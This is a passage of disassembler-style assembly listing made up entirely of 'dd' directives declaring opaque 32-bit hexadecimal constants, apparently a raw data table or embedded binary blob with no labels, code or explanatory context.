		dd 44635E7Ah, 59A305C9h, 0C18C15FEh, 6B863AF7h,	93B40FF5h
		dd 0FA6C52E0h, 0CAEC9A61h, 0B81B554Ch, 58EC2883h, 0B48F4B5Fh
		dd 240E4CA3h, 0DD2A4B9Eh, 0DDFEAB45h, 2381EF5Bh, 9688E04Dh
		dd 0EE535A42h, 68EE7F46h, 0A8ED058Dh, 91450767h, 0E57CB567h
		dd 46F25D1Ch, 922FD9FFh, 319E9AA9h, 0CE2DE38h, 0FCD29B22h
		dd 9B4DD8D3h, 8BE2A17h,	0F899795h, 57643B30h, 607C37B8h
		dd 676F34A0h, 0F8EE2F4h, 0ADBFC07h, 0C985C10Dh,	0AA39ECDh
		dd 3962373Ah, 9745A627h, 6F36A4FBh, 1451FEC5h, 2AC5A3ABh
		dd 12AD7F07h, 5F686F46h, 6D7B44B1h, 35B3C9E7h, 7BB92389h
		dd 0E08357B8h, 0E6CFB379h, 289DF1F8h, 0EC1A5131h, 512B8DDFh
		dd 0DD433C7Fh, 2FBE166Bh, 0DFB9D5C5h, 0B99BF0A2h, 0D44FD6h
		dd 0D2960039h, 0E72D3823h, 0EC3FFB8Dh, 9474ADB4h, 0D04332BAh
		dd 2B4FA50Eh, 91EF6BABh, 0EE15CBA8h, 0B16DCC6Ah, 6C968DEDh
		dd 49723E59h, 724DC059h, 0FD5186F4h, 0A80447ECh, 0CF86BB82h
		dd 0F3748205h, 0EF9EC26Bh, 0E524E882h, 54E4628Fh, 4F3DA5A2h
		dd 1604401Bh, 7D727E5Fh, 0A9400945h, 4F4194DDh,	1C01C59h
		dd 38EE0h, 0B831838Ch, 2D49AFE9h, 3627E5DEh, 0C5613CFEh
		dd 7BF1520Dh, 0E88DDA85h, 0F379FAC4h, 0D520096Ch, 4BF864BDh
		dd 29C8D50Ch, 21939329h, 32612433h, 9F607FCDh, 8A45026Bh
		dd 0E64DC96Ch, 79FE6D5Ch, 175C6542h, 1F8BE7EDh,	0D43A082Dh
		dd 0B7D0D488h, 0EE6EE38Dh, 0E5BD2393h, 3F5BC617h, 2063E8Dh
		dd 5A0622A4h, 622CEA75h, 89221823h, 19A5A1D5h, 80378B49h
		dd 3E3AA0F0h, 9C78EC8Fh, 4F2161Dh, 652A160Dh, 0C6C89E7Eh
		dd 0D73A2DD4h, 3E607BCDh, 7A18DED5h, 0D490035Fh, 0A281DB0Ch
		dd 0D4338CE3h, 0FC87C3A2h, 4686AEB4h, 7F9B68E6h, 290036C8h
		dd 52EF01F8h, 0AE9A7247h, 2E03BFB7h, 41E99E1h, 561C9C4Eh
		dd 0A865EE9Dh, 0D1BB06E0h, 0F6ED789Dh, 33C73530h, 227F5154h
		dd 9C82DAD2h, 0A4C70983h, 5098AF64h, 46206EB7h,	0F7802E53h
		dd 0DAEA3BF7h, 0D3B9B244h, 1ACC9718h, 0E52F61C8h, 41417F00h
		dd 0D23C4AABh, 0DAD5F7C0h, 0FC55E42h, 4BDD910Ch, 94B81DD7h
		dd 0C961B0BCh, 3CA1733Eh, 972B6927h, 895C65FEh,	0A23AC6DBh
		dd 0CDADBF31h, 0E158F870h, 5F9FEA06h, 0EDD25294h, 6A9B9DE7h
		dd 8BD7E95h, 1FA73DC4h,	29C70882h, 2F33D1C0h, 358278F9h
		dd 63D91000h, 8CA9FC2Ch, 0C0E5A465h, 35446C6Eh,	0E49FAAA5h
		dd 4FCF2E51h, 2A4BB802h, 0B8E1BA1Dh, 0F30F9143h, 0D763E7A5h
		dd 0AF1E0183h, 70C88D21h, 9B63C7Bh, 44CC8FBCh, 9932E463h
		dd 636182FCh, 4F11640Eh, 7324B988h, 0F546AF22h,	55A2E4D8h
		dd 3C37A24Dh, 0DB7D4157h, 98DE4770h, 2471DE92h,	0EE9FF956h
		dd 0EB3932DFh, 0A70D3B94h, 0CEC598CCh, 314AD83Eh, 15590B48h
		dd 9C63DDCEh, 0A3509C4h, 93A85853h, 0D8916C8h, 28C2EF12h
		dd 0D7CCE6A1h, 16A18514h, 0CE8288Fh, 2333B95Ch,	0BB81ECDBh
		dd 1167288h, 0A5D3CF71h, 41B147B6h, 0D4CCA0B5h,	7FBAA421h
		dd 3C0D73A6h, 1C4ED87Bh, 32A05E48h, 0D67EDD10h,	3D02656h
		dd 5F3831F2h, 0C564BE07h, 0AB5C7655h, 13CD48Dh,	37F182BCh
		dd 90FDF67Ah, 5F5B5676h, 5B675979h, 0A22A5A33h,	194C580Ch
		dd 5E1F2AC0h, 9B49AE35h, 7262387h, 0DB9140C5h, 606C7581h
		dd 0EFA47988h, 621691C0h, 3694BC91h, 3AECD49Dh,	741EE681h
		dd 126D5B06h, 0DD231E2h, 167C3EDFh, 3851AC0Ch, 249014CEh
		dd 0AB84D23Ch, 73A7491Eh, 8C153832h, 68A9B68Dh,	329FAB84h
		dd 2D92BE96h, 38D9635Bh, 7D7664F1h, 163E88C7h, 4A4370B6h
		dd 7D1DEDE7h, 80D2FE6Ch, 85D8EC31h, 0FF7BFA8Fh,	71A54EECh
		dd 0F3E0F5D3h, 0B89AA68Bh
		dd 17179EA2h, 0AB23C474h, 8383D673h, 50774DABh,	0A96E1193h
		dd 99806EF0h, 676CB08Fh, 39756396h, 25006805h, 0BC00EA7Ah
		dd 0C1E911D1h, 21F98759h, 30DB81AEh, 4D26E81Eh,	0F2D71ED3h
		dd 8BF202E4h, 0FE929A3h, 1355A9FCh, 84FB0EFBh, 0ACF96A12h
		dd 8BBDD090h, 0CDBB2B04h, 0C6CEBC90h, 2D529826h, 305FE087h
		dd 3F514B9Ch, 356BA01Ch, 0C251841Bh, 0F9D24B1Ah, 0D9C5FBE8h
		dd 0BAD1181Dh, 7F62247Fh, 85EC5719h, 9137645Fh,	6225B23Eh
		dd 0DBA65D16h, 0F3D5D5FEh, 6943810h, 10A8093Ah,	0E8AEDFB4h
		dd 9BA74A0Bh, 0A27061FBh, 77D469E0h, 0E31312FBh, 25C995BFh
		dd 84EF558Bh, 0C42A1F22h, 2FB440E9h, 50BC6E0Bh,	7FEDA03Fh
		dd 0E85BFFF8h, 59F2DFB5h, 0F54DDF89h, 1DB163D7h, 962AFC95h
		dd 0F92040E1h, 0A7F72720h, 0AA5B9676h, 0A06BB5BAh, 9FB8B46Ch
		dd 0B237A9BBh, 0D3516900h, 0E0A3B266h, 0C57F17DDh, 0B7722C6Bh
		dd 0F8B02330h, 0E694839Eh, 0B8B0EB02h, 3C94B983h, 2224E8A4h
		dd 6FA8EBFBh, 0EC9BDA92h, 923F1566h, 7F6FB95Eh,	0B6D4AA6Fh
		dd 40880C46h, 0FA421654h, 7869EB50h, 0C6D5AC81h, 0C6767DBh
		dd 44C50C61h, 0E661EA65h, 356539FBh, 0A89E91EBh, 32B65684h
		dd 0CF19390Eh, 4D1B6F04h, 9CEC04DFh, 0BA80940Fh, 73B5E0C1h
		dd 0E88A83BCh, 0F551EE5Ah, 0C27C4011h, 0B5E29743h, 0C7270E9Dh
		dd 0B45A375Fh, 0F2FF5C2h, 90FEBF47h, 0D12E3DB9h, 0DA4D42FDh
		dd 5245C3DAh, 877324D1h, 1DB871E5h, 6B10A92h, 0D896E059h
		dd 0C03837BAh, 0A6BCD4B4h, 401A5514h, 0FDB792A9h, 8059979Eh
		dd 0E80F8540h, 26BC59B0h, 0BB2D455Ah, 28EC970Ch, 0CF618B66h
		dd 0CF4DC861h, 67C1E7C6h, 0C992AB25h, 1DCA0FF1h, 0B64A86BBh
		dd 506AA6D8h, 4185ED2Fh, 9CC7C2BEh, 83397732h, 6888BDADh
		dd 11744B44h, 0E2861329h, 702DF61Eh, 4F34E9B2h,	0C7A6A0CCh
		dd 6D949FA4h, 9E83E0A6h, 0EE6E2B22h, 0CA2EE869h, 242DF789h
		dd 6EF7278Dh, 81B80967h, 0BD508BEEh, 6AB8D311h,	71CDCD34h
		dd 0BFFC05DAh, 0CA9D5595h, 8603C3C2h, 6467E5B7h, 0F78FBD26h
		dd 0F84F91BAh, 0E02C8949h, 652C486Eh, 0A7C34F43h, 0FCECCBBEh
		dd 0A85D44CEh, 0BF9D6054h, 8B4D67FCh, 6BFF7310h, 1FC42C7Ch
		dd 0DD009684h, 1618E446h, 0EA5BBDEAh, 97BA19B5h, 0C1C53D43h
		dd 2DD741Fh, 0ADB2039Ch, 4A7E5E72h, 387FD2A7h, 0C24E084Dh
		dd 0B98AC659h, 0EE58EC22h, 0D49484B9h, 99AB3902h, 0F895C946h
		dd 5A4E5F36h, 8BB1F992h, 5E5A461h, 0DA1A5202h, 5219076Fh
		dd 0FE6CDD25h, 4F5D193Dh, 0A9A99632h, 0DEF74679h, 77244536h
		dd 0F1F2C340h, 0A2E2C052h, 0A38A416h, 926C17A7h, 19F4D89Ch
		dd 0B2053426h, 472AC1E5h, 444215FCh, 6179BB98h,	0F3190DABh
		dd 0AD995AC1h, 1AE511D7h, 19C458E6h, 0DFF85010h, 10B83166h
		dd 0E189B912h, 32FFC647h, 64591D08h, 3B9DAEE3h,	80061D7Eh
		dd 0C8C0B4C4h, 0CEFCAF74h, 8AA36D62h, 5F26B1C4h, 68E35AE7h
		dd 45E7CF07h, 0A7D3583Bh, 0C2A3E220h, 0F0B18D10h, 83FEEF77h
		dd 9962B3CCh, 249AD354h, 28700036h, 0FE0EAAC1h,	6BDDEEB4h
		dd 0E210DFD3h, 36BBCE7Fh, 0CFB46EF2h, 5169A864h, 978691Ah
		dd 179FE759h, 0A5E1C9AAh, 26FA164Fh, 7A2555E4h,	0DD96830Eh
		dd 23045FAh, 0C1A65E13h, 9E5536BEh, 0ECE187B4h,	2676E1B4h
		dd 0EDDD4897h, 0A7B5E25Fh, 8F1DCA7Bh, 1E8B5959h, 61E09EA4h
		dd 223201B0h, 2F740FF3h, 0A40C0754h, 0E1F3698Ch, 68465746h
		dd 0A9499F82h, 4D0D0DD3h, 2C37E956h, 44BCCDF6h,	0A0FD481Dh
		dd 1EDD88E5h, 0E3E3E77Ch, 0F4E1F4B6h, 23871D72h, 19587971h
		dd 86B813A9h, 6AC05431h, 2AAA8510h, 0F0EF14DAh,	0BC52DF7Ah
		dd 49DB1848h, 0F29F438Ch, 9F7EFECCh, 0B79F7C5Ah, 0F1E2D4B8h
		dd 0F03BB6D7h, 0E4B021B8h, 0B3605218h, 1355845Ch, 0D373BECAh
		dd 0B553185Fh, 9992F6FCh, 0CC07EBA1h, 0A3AC786Fh, 41A17D9Ch
		dd 4AB28DBAh, 95177DF1h, 766CAC94h, 6B10CA01h, 0AFE9B21Fh
		dd 56034E97h, 1793B8C6h, 5BE64624h, 91E2AA43h, 77E5946Eh
		dd 7F60A3F7h, 436A9219h, 0B1361BD5h, 4A3800A1h,	0A71AAEFCh
		dd 0E6DB9F50h, 5852A41Eh, 0C1A04689h, 0A905B60Ah, 0A46B24E1h
		dd 3F22F047h, 7752225Ah, 6880CA8Dh, 5DF00177h, 26DB9077h
		dd 0A21665ADh, 0F10CFD27h, 0E0EC1629h, 6599DD22h, 5F4806Fh
		dd 9A1F9799h, 9F74D97Ah, 0F7BE4118h, 7C75F783h,	5BDB3C56h
		dd 0B9743978h, 7D967D97h, 4D970A1h, 0F72D6AF3h,	2A34799Ah
		dd 43881C38h, 23CBFA40h, 1E26E9FEh, 96E3EFB5h, 89B67474h
		dd 6A542413h, 37258F34h, 7B85319Ah, 0C04D421Fh,	510416B3h
		dd 0DF5DAB84h, 0B1324304h, 3EACF3AAh, 4FF4C544h, 1C95AF5Ch
		dd 0D7BCD198h, 0D52E0C5Dh, 82F94545h, 0B44DBDECh, 0F92BE88h
		dd 62C980A5h, 6EA5C77Dh, 0DDE31460h, 0EEF45C82h, 0B1B7264Dh
		dd 73A98A9Dh, 0DE1BEA0Fh, 15819FD9h, 24DF6A4Ch,	53E970F5h
		dd 60B4469Dh, 0E472FCB4h, 8865D969h, 0E9AA8820h, 67939A2Ah
		dd 0F0CD358Ah, 4D7EF476h, 0D07DB4C4h, 61A33877h, 12EE1838h
		dd 17F8E8EDh, 0B3910197h, 9831395Fh, 0A4CFB52Dh, 0ED61CCEFh
		dd 0D33960AEh, 97AAC5D0h, 245E01F5h, 0BABDD457h, 0A2D60E9Ch
		dd 2742EC92h, 7C02CD4Bh, 0A4153EF6h, 14331681h,	14E4762Dh
		dd 2E7D17AFh, 2B430EAh,	6156913Dh, 794D4E44h, 0D40DBC20h
		dd 0CF1E8F27h, 0B07EA3C4h, 0DD1BFBFFh, 2F6E591h, 42A3429Ch
		dd 0C2BA73D5h, 0B14B5Eh, 78C59806h, 776C3D2Bh, 65BB5BC4h
		dd 3EDF278h, 9FD0EAA5h,	30C6EAC3h, 6F44E5BBh, 3D8FD003h
		dd 528E94B1h, 819B32BBh, 9FD70C7Bh, 911CFB35h, 75FF8D7Fh
		dd 3A6B19A0h, 0AC165ABh, 0A52324CAh, 2196D087h,	27FD4CB0h
		dd 0DA7A520h, 27B4E0FBh, 0A3F5FA5Bh, 0A67A910Fh, 0B98DD867h
		dd 48A52465h, 0AD370F3Eh, 2F1886ADh, 0C48CDA7Fh, 0A141D893h
		dd 72A9E7DCh, 0B33D1BBDh, 1637EC9Ah, 7292DE37h,	26FADBF2h
		dd 0B3B4F531h, 0ABDFCF19h, 136FC48Ch, 85D00C47h, 5632FE25h
		dd 73BF7F8Ch, 0BDE35904h, 0C723537Fh, 89CCB1D7h, 6EF013FBh
		dd 87DF8A19h, 0CBB7AA36h, 85A77F7Dh, 0AED143FAh, 0B1CFCA0Ch
		dd 0F081E3ECh, 1152575Fh, 5D69C9A5h, 31EA77E1h,	9695DF9Ch
		dd 0FB9F1C07h, 0CF7AB35Dh, 82ED0E09h, 85AD9BB5h, 4C6BA3DCh
		dd 4441C468h, 41912ACCh, 0E018C17Ch, 0D0F73F2Ah, 1C68A9F6h
		dd 2FF51C71h, 7D414043h, 0CA38CDC5h, 1709BBA5h,	78950017h
		dd 52F913E3h, 0A75DEECFh, 0A31C4E99h, 4BE9A20Eh, 0CF669795h
		dd 0A0A99A9Fh, 22F9AEB3h, 244B0A39h, 7AA18083h,	32B47702h
		dd 0E06B7AB9h, 668BE3B8h, 986796CDh, 0AD3A651Ah, 84C2FE32h
		dd 0BA9238D8h, 19C97E8Dh, 9C8C962Ah, 0EBC5DFB9h, 715F35D8h
		dd 3819B857h, 33A04954h, 1AC03C13h, 0D18B8080h,	38BFC090h
		dd 21E3BE79h, 0FD208A3Bh, 6EF12777h, 3DDC5209h,	0B1BA23FCh
		dd 21658791h, 0C9FCC4DAh, 29D54FA8h, 27536500h,	20353262h
		dd 200BA92Eh, 2FF989C3h, 17BC3A7h, 8CE3C3E8h, 0AB2302ADh
		dd 0E357DDDCh, 26961D2Ch, 0F107E48Ch, 75087A33h, 13C2BE66h
		dd 5466247Ch, 84A66C6Bh, 30AEE184h, 2472922Bh, 394AF522h
		dd 5DBD49F1h, 7DFF4A0Fh, 7EE8AE9Dh, 7A339E5Eh, 4BDEDA4Fh
		dd 6A0AB3A3h, 3192A8A1h, 0D029127Bh, 1F24FB5Eh,	0A5B3632Ah
		dd 0BC30BED3h, 0D16CCCC4h, 64086480h, 0A24F8279h, 4F498EECh
		dd 290C6905h, 508D7F8h
		dd 3194CA67h, 77691B40h, 0EF1B419Eh, 0A8805D7Ah, 48560935h
		dd 0AF1F03F4h, 6A15261Ah, 0D971E753h, 0C2BEF5BFh, 6311C27Bh
		dd 0CB603E62h, 816FA986h, 54B2590Ch, 6E0854B7h,	0CAF3844h
		dd 6BD9F15Dh, 14A4EE9h,	0FA9ED5E1h, 0F26E31A8h,	0B1EA16FBh
		dd 772A6B3Ah, 5BAE6580h, 68F93947h, 1F6D3DDh, 0DF001123h
		dd 7CF91B9Dh, 3189109Dh, 0BE1A457Dh, 0A8EEDB44h, 1B6687F0h
		dd 0C9D9AE2Fh, 0C2A5B31Fh, 0F28F7D01h, 0B08435E0h, 9C98E69h
		dd 0F7CDE3E6h, 9249F594h, 783FE2FBh, 0D6F90E93h, 245CB0CCh
		dd 5B29C27Ah, 0C7DFC162h, 0D182A454h, 8E22C62Ah, 0DA4A47D7h
		dd 249DEC60h, 96F59AE4h, 0DF3AEC6Fh, 85719D87h,	6E4B108Fh
		dd 6B58DC8Bh, 872B4ED5h, 0CF29712h, 8D1AB820h, 0C76BBEB7h
		dd 0FF343B70h, 0D43CCDA4h, 5C2C3285h, 0DA2EFFC6h, 0FE20DE18h
		dd 0FCC84A9h, 9AEDFDF8h, 72521670h, 0E3D309CEh,	2ED834B9h
		dd 173A1FFFh, 94760660h, 0E5263E50h, 0CDE8E9B8h, 0A535564Ah
		dd 7496121Ah, 0A3887114h, 0D75EE187h, 0DB4276F8h, 0B56BDC82h
		dd 1F4CB9D3h, 9546F972h, 0B7A6DDCAh, 39FA862h, 2D1BC0D1h
		dd 61952AB0h, 7D34FECFh, 3543202Fh, 0FEAFCAACh,	1872A113h
		dd 0F6E0219Dh, 5F97205Dh, 67113BB0h, 2193AA2Bh,	0C32C621Fh
		dd 0CF9D5BAAh, 473582A5h, 0DDE82121h, 34EF17A1h, 66465CEh
		dd 0AF53B78Bh, 0B12D5606h, 2CCFDE9Eh, 48EEF4DEh, 21E23A42h
		dd 0B984FEEh, 0EF79D5B6h, 1E422241h, 5A89AF23h,	177F996Dh
		dd 0EEC69C62h, 0E48B29F6h, 365B9CB3h, 2A67D4E9h, 0FC2C62E4h
		dd 0D6ACB405h, 0E6909BC6h, 97C9668h, 76372351h,	3B67CF9Ch
		dd 2BB313C4h, 0E3D7BEB4h, 0DDE55970h, 0B95FC907h, 91B82FBh
		dd 1C6D64D0h, 0D6C4AAC7h, 0B4F429BDh, 4D19B9B4h, 853DD576h
		dd 5481F22Eh, 889FD77Fh, 80802D36h, 0E56F5C96h,	165EBBEDh
		dd 50C1AA3Fh, 97056D9h,	841A8AFBh, 0B8200C76h, 1001AD2Fh
		dd 9EA4DC9Ah, 0D3717A0Dh, 1D26DEDBh, 9BE0CD7Bh,	0BADBB24Bh
		dd 0C54BF198h, 1D44657Dh, 0A104055Eh, 0D014A4E4h, 8726E3CFh
		dd 5DE8F89Eh, 9D0AE05Ch, 718A4375h, 6C1208F0h, 416A891Ch
		dd 0D8082080h, 8277B5F5h, 0ED494E7Bh, 72C80A91h, 25758921h
		dd 0A5794F0Ah, 427D3806h, 522FD63Fh, 0C23A6022h, 0E5C15581h
		dd 7A79CD39h, 346F941Fh, 95363B6Fh, 0D5265B09h,	90BB90FEh
		dd 0C3D5A55Fh, 77B85472h, 35A000B6h, 6B6EAF36h,	0D82FB42Eh
		dd 61071356h, 1793B09Ah, 8E1A0603h, 520EE681h, 0B03CDCCAh
		dd 3EA94F89h, 0E43A5337h, 0E93C177Ah, 461A4BEFh, 0E938DA70h
		dd 8AF57B3Dh, 0CF6F1B70h, 91E925C1h, 0BF5C9BBAh, 0E7A8F635h
		dd 18A904CCh, 0FB85E252h, 0BAAB9492h, 0D71CA125h, 0A4B59632h
		dd 4D875FA5h, 0AFEC4BF7h, 59FF78C0h, 0D3F6B167h, 14BB65A2h
		dd 0A5DA4461h, 3832C8B0h, 9DF89D93h, 95E42533h,	6FFD6E4h
		dd 0E61626F4h, 0B733417Eh, 1CD1B34Fh, 355777h, 729A766Bh
		dd 0A005A8D4h, 2F829365h, 0A7F5E15Ch, 4BD8F208h, 9224FAF0h
		dd 4B566F18h, 0F8B24A4Eh, 5AC4FEB5h, 0F562A6BBh, 0B00418B6h
		dd 325BD592h, 72CCB69Fh, 0E2048447h, 650523h, 785DF0C8h
		dd 0CC2444Eh, 0BF9AF1F1h, 64E68477h, 0A9F761E2h, 0FBA40531h
		dd 427BE8C8h, 13412738h, 3AE4E41Dh, 5C765B68h, 0E1201CCDh
		dd 0D75251BFh, 86F13B9Eh, 48DDB2B4h, 0CD51015Dh, 38A3F6FBh
		dd 0C4181920h, 0A40B7742h, 176C5525h, 6CCBF727h, 0C20E8758h
		dd 4221A7ADh, 400F6941h, 0E387B7E5h, 22A183A5h,	2D3F6742h
		dd 0C5E78392h, 60EFCE23h, 0E5468939h, 8C22807Dh, 53AAE7A8h
		dd 7E060BC3h, 433ADB45h, 8690FCBDh, 1CBA14FCh, 695DC6D9h
		dd 2DDBA0ECh, 0CBA455D3h, 94FB3C29h, 5C78139Bh,	0AAE5A3A0h
		dd 285708E6h, 82345685h, 0BD1CA415h, 17B9D45Bh,	0D0481205h
		dd 893124h, 85EB1B8Fh, 5E9DFBF9h, 877EB223h, 0AFC79BD4h
		dd 5747800Eh, 5E5B8436h, 0C17C6BBAh, 99767F13h,	0A965BB82h
		dd 0CA2C9D27h, 1AB9390Fh, 555B7554h, 7F77EFBFh,	90836985h
		dd 1A200362h, 6E7449ADh, 5A66E0E4h, 0D34C2D9Bh,	0F1A26DAFh
		dd 124A3994h, 0C7E844E6h, 12D9B2FFh, 0D650993Fh, 758CDB62h
		dd 363ED04Ah, 6BF16357h, 23A04507h, 0D75EC1E8h,	0E99CFD21h
		dd 91ED310Ah, 0B5A69C87h, 7DD96ACCh, 0EF8A3968h, 6A19BC44h
		dd 3EDC8EABh, 0E60BDBAh, 3CEBD185h, 638ABFCFh, 0C66C8D60h
		dd 6F78F01Fh, 945EF096h, 0DCD344B0h, 461BDFFFh,	165B11BEh
		dd 64ABF03h, 0AD0C7394h, 51F0D64Fh, 0B1014E90h,	26D8383Ch
		dd 7F98DB9Bh, 0FD2E2253h, 0EA6DAA27h, 82E9F727h, 2193B2ADh
		dd 0FB902BF0h, 8C6EA591h, 77EC7CBCh, 9D0BFE4Ah,	0F33CFB5Fh
		dd 0D43ABB1Ah, 31FA2E9Eh, 2556F6BBh, 0BA22598Ch, 0C36BFE9Dh
		dd 11403C79h, 0B2745F15h, 1136E248h, 0CBB4D4Eh,	0CA50F3BBh
		dd 0B300C91Ah, 0A6EFCA66h, 0FCF91B3Dh, 0E95930B6h, 3BF296A9h
		dd 9F071E54h, 976F6121h, 45C90B2Fh, 34DC8C9h, 6551E03Ah
		dd 0A8568259h, 1382E295h, 0C48E7B8Dh, 6FFCF04Fh, 120772E3h
		dd 2FD64BC5h, 92223B86h, 0C2F959F2h, 0FF25138h,	0F0773B2Eh
		dd 5DE5A6EBh, 7A5ED995h, 0D440ED23h, 2C9C97DBh,	89EEE17Ah
		dd 0A63F949Fh, 25D81162h, 0F991AF20h, 0B661807Eh, 0CA58A1C9h
		dd 4DD5BB69h, 0ABC12EAFh, 74F9AD5Ah, 13F9A91h, 0B3BD918Dh
		dd 0BF22E2B1h, 0BF7370E1h, 8BC315EFh, 29DFFAA4h, 729036BDh
		dd 0B69854A0h, 0FED5B19Ah, 13911C3h, 93467CA8h,	0CA9B5BDEh
		dd 9AED90EBh, 3CD30727h, 0B83FFA2h, 0EECBA29Eh,	7B1CB3D6h
		dd 88B637F0h, 0A7E45615h, 9339AF6h, 83B1B37Eh, 0B8643072h
		dd 0BF59DC94h, 641D8170h, 581C4CBEh, 1D3D0780h,	0D05331B8h
		dd 0F3B7B0Fh, 0C1BA647Bh, 8D35B815h, 0B53DD175h, 8AB9C383h
		dd 3ACBEA16h, 0DA39A3DBh, 2AA2FCD1h, 1C4D7B5Dh,	0D9AE9B4Ch
		dd 0E63EB40Bh, 9CB98860h, 4A1C1173h, 44422FABh,	0B3B1FBDCh
		dd 50B56177h, 430FEFB2h, 590CDAE5h, 0FAFF8D1Dh,	0CF4D6570h
		dd 0B47C13D2h, 5D4AE9C8h, 3D978F8h, 0FA26010Eh,	0CD4DB9FFh
		dd 0F2A4BE64h, 0BC5D9D63h, 0CAD3B366h, 5F6B6C88h, 961D1BFDh
		dd 91219635h, 31E58CC0h, 6E79F950h, 3BFA0D03h, 9030C96Eh
		dd 0EEB7BFDEh, 5B234635h, 1C923856h, 105A0F2Bh,	1E94A258h
		dd 0F3A4556Ah, 0E8C67070h, 6FE643C6h, 0C78A3F55h, 3049486h
		dd 9E90C1D0h, 0BF89EB72h, 41C4E22Bh, 0AC2C7B79h, 95605572h
		dd 0F9D8A36Bh, 2137F7CFh, 5E68D391h, 0D05F8597h, 82CE6F5Bh
		dd 0D49FF155h, 8C0F5CA1h, 194D55F3h, 31D0ADD1h,	3E7EEABBh
		dd 0B7507447h, 0EF864925h, 46880795h, 0A6EBA3C7h, 0E968E4B6h
		dd 0AD46C79h, 8621A8A1h, 0CD50DC0h, 5D821818h, 12250E89h
		dd 1331D2ECh, 97F29B3Bh, 64127EB6h, 92729355h, 0E60BA8C8h
		dd 0FE55360Ah, 0AF3CA296h, 13CC3910h, 62F66B6Ch, 0D501CFEDh
		dd 0BAE76AAFh, 399D42BDh, 6677861Ah, 87A64D2Fh,	0DF0A6FCEh
		dd 18121A26h, 6CF6CAC1h, 2E9872C4h, 0CEEAF589h,	3C48668Eh
		dd 65F27C26h, 0A4B1FF64h, 0C444B69Fh, 0D3D0A65Bh, 0F61B7F78h
		dd 35531836h, 5CCDDC44h, 98938448h, 0FBD4080h, 0D321517Eh
		dd 841588D9h, 980589ADh, 9FE6B159h, 5298FD10h, 8AFA17F8h
		dd 514A990Ah, 47873AE4h, 1B0ECC38h, 0E56BE839h,	0A6F53959h
		dd 0FFA3F6FEh, 9C67A3C5h, 0C6D74B0Eh, 70F58900h, 0E01091C4h
		dd 31CFFBE2h, 6D58986Eh
		dd 6DA696DFh, 0E0E86704h, 33A833FBh, 0A782115h,	0A63FA5BFh
		dd 78DCD6B5h, 8073743Dh, 8BFCD375h, 0F7FEB34Eh,	9614250h
		dd 343F6F30h, 0C03FA40Fh, 3271759Eh, 0A1AFD4DAh, 1731D185h
		dd 1EC7317Ch, 96B4429Bh, 20B54D2Ah, 1B9A167Fh, 2AF8DA7Bh
		dd 0E98B00FCh, 3904C590h, 4A43ECE2h, 554F85Ch, 0B1CBDE9Ch
		dd 5D6E13B6h, 62256C40h, 744F43FEh, 9CB444CCh, 6A3EBCCFh
		dd 0C6244Bh, 0F4C45FE1h, 300CA513h, 9912E0C9h, 2DF70D7Fh
		dd 927458F5h, 9863ACD0h, 0C56F561Dh, 340C2095h,	85F6193h
		dd 0DAC115C3h, 2EC17F8Eh, 824D10FCh, 0EE955128h, 475CBCA0h
		dd 0A5E9D227h, 0D9317186h, 8F61CA6Dh, 82084095h, 0DB84EA89h
		dd 0D85E70EEh, 3A9650A6h, 0F04E87CDh, 8B326DF0h, 142FB390h
		dd 0FA68FCD9h, 15BD7C5Ch, 4F851C7h, 0D7170547h,	5B49B146h
		dd 0C968E2D4h, 0AA778FBBh, 4851736h, 51997D31h,	53543EB3h
		dd 0AEF4E8BCh, 3FA7145Fh, 0FE7ED32Bh, 2C38871h,	3E577F65h
		dd 41724DC5h, 1194925Bh, 0E57B2185h, 9A8220C2h,	50B8685Fh
		dd 0BC07C7B0h, 6B8169A2h, 0E4B1CA7h, 43448CC6h,	8252BE3Fh
		dd 1FF7E0C1h, 0AF42A8Eh, 8125C3B2h, 85BA8A9Fh, 7C85CA68h
		dd 881ED237h, 34EFFD25h, 0CD4D1680h, 76C71E1Eh,	0A12B4E9Dh
		dd 4D6705ECh, 0C355AE7Eh, 0F8194B8Eh, 0DC42ED21h, 91815815h
		dd 0F274C918h, 0C9846307h, 0E570937Dh, 3DE018E4h, 0EBE40D92h
		dd 1AF22EC0h, 31AEF772h, 0F589A3C3h, 2A6DFDE7h,	0CDA8B838h
		dd 1713482h, 0B907D372h, 65528197h, 0B3148BFCh,	163BBF2Bh
		dd 7A08DFF8h, 0B8350FEDh, 0F5F82CC9h, 86B3690Ah, 191E665Ch
		dd 87780414h, 0C341BBh,	85DD4B08h, 0B3B5901Bh, 9168AC6Ch
		dd 878FD3E1h, 0A6AAC023h, 680D975Ch, 6CBDA72Fh,	0BCF8EFFAh
		dd 94A22865h, 3468B9C8h, 24694362h, 37C40D19h, 0AE541BABh
		dd 42DC1B77h, 0D68C23D5h, 80865CB6h, 43FC985h, 3C46E3EFh
		dd 45636245h, 81913B05h, 0FD48794Ch, 2AF3C5CFh,	0DE1781EBh
		dd 46E1144Ch, 7FEE40B2h, 0FADAB0BCh, 0E195C7DFh, 0D7A0709Ch
		dd 0CF943553h, 9BAEF763h, 0F288FF73h, 226C3D7Ah, 1380687Ch
		dd 0FA830339h, 534844C9h, 51C1F1D7h, 7AB30F58h,	13E02973h
		dd 0B1C7B7FCh, 35FE3726h, 45AE1CC7h, 4F86B682h,	32567D1Ch
		dd 3B90CE72h, 2E00386Eh, 7B457B12h, 224C5EBAh, 2BA4D4CDh
		dd 0E3FA304Ah, 0DD2BA61Bh, 0B0E38C9Fh, 0D9B66406h, 37375F5Bh
		dd 36118C26h, 0B49C180h, 258AFF1Dh, 0D292BEFh, 28AD7333h
		dd 0F8388638h, 0D0D3FBh, 0FB893920h, 4666C493h,	0A1D86E8Fh
		dd 0AD1F8AD0h, 52C437D1h, 0E3468088h, 2B635E8Fh, 296BB239h
		dd 3905E8ABh, 6A75FE1Fh, 1664BADAh, 3D11C134h, 0AEBDC172h
		dd 0A8A3B9EAh, 0C503FE42h, 0CD53E463h, 0D70ABD5h, 4DA85944h
		dd 0A77FF42Eh, 6F9EA67h, 0C56F21EEh, 4EF677F4h,	0AF25621Ch
		dd 3C4EC58Ah, 2164F53Ah, 88BD0792h, 50A94247h, 846AC4AAh
		dd 83FCDDF5h, 0A1549105h, 1FDA6526h, 0A7039F2Ch, 0FB67AECAh
		dd 445538B7h, 5DD16D16h, 3B00C3FFh, 584E708Bh, 574C23F7h
		dd 20972843h, 0D23340EBh, 89CE67E6h, 97DE5D02h,	0F077A8FDh
		dd 0A5EFA616h, 0EAEF7B6h, 12C09663h, 927165F0h,	61A36B76h
		dd 527B809Ah, 9E9210EDh, 17B8E7AEh, 9DC0678Dh, 1BDC334Dh
